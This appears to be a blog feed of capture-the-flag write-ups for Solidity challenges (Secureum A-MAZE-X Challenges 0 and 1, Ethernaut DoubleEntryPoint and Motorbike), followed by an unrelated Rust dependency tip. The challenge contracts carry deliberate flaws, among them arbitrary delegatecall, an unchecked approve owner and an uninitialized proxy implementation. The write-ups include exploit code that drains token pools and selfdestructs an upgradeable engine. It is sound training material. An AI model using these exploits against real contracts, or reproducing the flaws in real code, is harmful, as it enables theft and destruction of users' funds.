Secureum A-MAZE-X Stanford - Challenge 1

Secureum A-MAZE-X Stanford Github repo

Challenge 1: What a nice Lender Pool!

Secureum has raised a lot of Ether and decided to buy a bunch of InSecureumTokens ($ISEC) in order to make them available to the community via flash loans. This is made possible by means of the InSecureumLenderPool contract.

πŸ“Œ Upon deployment, the InSecureumToken contract mints an initial supply of 10 $ISEC to the contract deployer.

πŸ“Œ The InSecureumLenderPool contract operates with $ISEC.

πŸ“Œ The contract deployer transfers all of their $ISEC to the InSecureumLenderPool contract.

πŸ“Œ The idea is that anyone can deposit $ISECs to enlarge the pool’s resources.

Will you be able to steal the $ISECs from the InSecureumLenderPool? 😈😈😈

Contract

InSecureumLenderPool.sol ( The contracts that we will hack. )

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

// Some ideas for this challenge were taken from damn vulnerable defi
contract InSecureumLenderPool {
    using Address for address;
    using SafeERC20 for IERC20;

    /// @dev Token contract address to be used for lending.
    //IERC20 immutable public token;
    IERC20 public token;
    /// @dev Internal balances of the pool for each user.
    mapping(address => uint) public balances;

    // flag to notice contract is on a flashloan
    bool private _flashLoan;

    /// @param _token Address of the token to be used for the lending pool.
    constructor (address _token) {
        token = IERC20(_token);
    }

    /// @dev Deposit the given amount of tokens to the lending 
    ///      pool. This will add _amount to balances[msg.sender] and
    ///      transfer _amount tokens to the lending pool.
    /// @param _amount Amount of token to deposit in the lending pool
    function deposit(uint256 _amount) external {
        require(!_flashLoan, "Cannot deposit while flash loan is active");
        token.safeTransferFrom(msg.sender, address(this), _amount);
        balances[msg.sender] += _amount;
    }
    
    /// @dev Withdraw the given amount of tokens from the lending pool.
    function withdraw(uint256 _amount) external {
        require(!_flashLoan, "Cannot withdraw while flash loan is active");
        balances[msg.sender] -= _amount;
        token.safeTransfer(msg.sender, _amount);
    }   

    /// @dev Give borrower all the tokens to make a flashloan.
    ///      For this with get the amount of tokens in the lending pool before, then we give
    ///      control to the borrower to make the flashloan. After the borrower makes the flashloan
    ///      we check if the lending pool has the same amount of tokens as before.
    /// @param borrower The contract that will have access to the tokens
    /// @param data Function call data to be used by the borrower contract.
    function flashLoan(
        address borrower,
        bytes calldata data
    )
        external
    {
        uint256 balanceBefore = token.balanceOf(address(this));
        
        _flashLoan = true;
        
        borrower.functionDelegateCall(data);

        _flashLoan = false;

        uint256 balanceAfter = token.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

InSecureumToken.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract InSecureumToken is ERC20 {

    // Decimals are set to 18 by default in `ERC20`
    constructor(uint256 _supply) ERC20("InSecureumToken", "ISEC") {
        _mint(msg.sender, _supply);
    }

}

Writeup

  1. Finish the Exploit contract in test/Challenge1.t.sol.
     contract Exploit {
         function flashloanCallback(IERC20 token, address testAddress) public {
             token.approve(testAddress, type(uint256).max);
         }
     }
    
  2. Add below code to testChallenge function.
     Exploit exploit = new Exploit();
    
     target.flashLoan(
         address(exploit),
         abi.encodeWithSelector(
             Exploit.flashloanCallback.selector,
             token, 
             player
         )
     );
    
     IERC20(token).transferFrom(address(target), player, IERC20(token).balanceOf(address(target)));
    
    
  3. Run forge test --match-path test/Challenge1.t.sol

Reference

Function selector Ventral.digital

Secureum A-MAZE-X Stanford - Challenge 0

Secureum A-MAZE-X Stanford Github repo

Challenge 0: VitaToken seems safe, right?

Let’s begin with a simple warm up. Our beloved Vitalik is the proud owner of 100 $VTLK, which is a token that follows the ERC20 token standard. Or at least that is what it seems… πŸ˜‰πŸ˜‰πŸ˜‰
πŸ“Œ Upon deployment, the VToken contract mints 100 $VTLK to Vitalik’s address.
Is there a way for you to steal those tokens from him? 😈😈😈

πŸ—’οΈ Concepts you should be familiar with (spoilers!)

Contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract VToken is ERC20 {

    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("VToken", "VTLK") {
      address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;   
      _mint(vitalik, 100 ether);
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address owner, address spender, uint256 amount) public returns (bool) {
        _approve(owner, spender, amount);
        return true;
    }
}

Writeup

This level is pretty easy. Check out VToken contract, there is the approve function.

  1. Add below code to Challenge0.t.sol to complete the level.
     VToken(token).approve(vitalik, player, type(uint256).max);
     IERC20(token).transferFrom(vitalik, player, IERC20(token).balanceOf(vitalik));
    
  2. Run forge test --match-path test/Challenge0.t.sol.

Ethernaut - 26. DoubleEntryPoint

Difficulty: πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘πŸŒ‘

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

Writeup

  1. Get new instance.
  2. Get Vault address.
    
     await contract.cryptoVault()
    
    
  3. Create a contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface IDetectionBot {
         function handleTransaction(address user, bytes calldata msgData) external;
     }
    
     interface IForta {
         function setDetectionBot(address detectionBotAddress) external;
         function notify(address user, bytes calldata msgData) external;
         function raiseAlert(address user) external;
     }
    
     contract MyDetectionBot is IDetectionBot {
         address constant VAULT = YOUR_VAULT_ADDRESS;
    
         function handleTransaction(address user, bytes calldata msgData) override external {
             // The first four bytes is the hashed signature of the function.
             // The rest of bytes are hashes of the arguments being passed to the function.
             (,,address origSender) = abi.decode(msgData[4:], (address, uint256, address));
    
             if (origSender == VAULT) {
                 IForta(msg.sender).raiseAlert(user);
             }
         }
     }
    
  4. Use MyDetectionBot address as parameter to call setDetectionBot method in Forta contract. You can find Forta contract address by call below method in chrome console:
    
     await contract.forta()
    
    
  5. Submit instance ΞΎ( βœΏοΌžβ—‘β›)

Reference

Ethernaut - 25. Motorbike

Difficulty: πŸŒ•πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘

Ethernaut’s motorbike has a brand new upgradeable engine design.
Would you be able to selfdestruct its engine and make the motorbike unusable ?
Things that might help:

Contract

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

Writeup

  1. Get new instance.
  2. Call the method in the chrome console.

    
     implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
     implAddr = '0x' + implAddr.slice(-40)
     // Your Engine address
    
    
  3. Convert an upper or lowercase Ethereum address to a checksum address.
    
     await web3.utils.toChecksumAddress(implAddr)
     // Your Engine checksum address
    
    
  4. Create a contract.
       // SPDX-License-Identifier: MIT
       pragma solidity <0.7.0;
    
       import "./Initializable.sol";
       import "./Address.sol";
    
       contract AttackEngine {
         bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
         address public upgrader;
         uint256 public horsePower;
         Engine public target = Engine(YOUR_ENGINE_CHECKSUM_ADDRESS);
    
         function attack() public {
             target.initialize();
             target.upgradeToAndCall(address(this), '0xb8b3dbc6');
         }
    
         fallback() external payable {
             selfdestruct(address(this));
         }
       }
    

    Initialiazle.sol

     // SPDX-License-Identifier: MIT
       pragma solidity >=0.4.24 <0.7.0;
    
       contract Initializable {
    
         bool private initialized;
    
         bool private initializing;
    
         modifier initializer() {
           require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
    
           bool isTopLevelCall = !initializing;
           if (isTopLevelCall) {
             initializing = true;
             initialized = true;
           }
    
           _;
    
           if (isTopLevelCall) {
             initializing = false;
           }
         }
    
         function isConstructor() private view returns (bool) {
           address self = address(this);
           uint256 cs;
           assembly { cs := extcodesize(self) }
           return cs == 0;
         }
    
         uint256[50] private ______gap;
       }
    

    Address.sol

     // SPDX-License-Identifier: MIT
    
     pragma solidity ^0.6.2;
    
     library Address {
            
         function isContract(address account) internal view returns (bool) {
             uint256 size;
             assembly { size := extcodesize(account) }
             return size > 0;
         }
    
         function sendValue(address payable recipient, uint256 amount) internal {
             require(address(this).balance >= amount, "Address: insufficient balance");
    
             (bool success, ) = recipient.call{ value: amount }("");
             require(success, "Address: unable to send value, recipient may have reverted");
         }
    
         function functionCall(address target, bytes memory data) internal returns (bytes memory) {
           return functionCall(target, data, "Address: low-level call failed");
         }
    
         function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
             return _functionCallWithValue(target, data, 0, errorMessage);
         }
    
         function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
             return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
         }
    
         function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
             require(address(this).balance >= value, "Address: insufficient balance for call");
             return _functionCallWithValue(target, data, value, errorMessage);
         }
    
         function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
             require(isContract(target), "Address: call to non-contract");
    
             (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
             if (success) {
                 return returndata;
             } else {
                 if (returndata.length > 0) {
                     assembly {
                         let returndata_size := mload(returndata)
                         revert(add(32, returndata), returndata_size)
                     }
                 } else {
                     revert(errorMessage);
                 }
             }
         }
       }
    
  5. Compile & Deploy AttackEngine.sol.
  6. Call attack function.
  7. Submit instance ΞΎ( βœΏοΌžβ—‘β›)

Rust - Unresolved import `rand`

I encounter this error when I’m going to use rand::thread_rng().gen_range() function to create a random number.
How to solve this ? It’s really simple!

  1. open Cargo.toml
  2. add rand = "*" below [dependencies]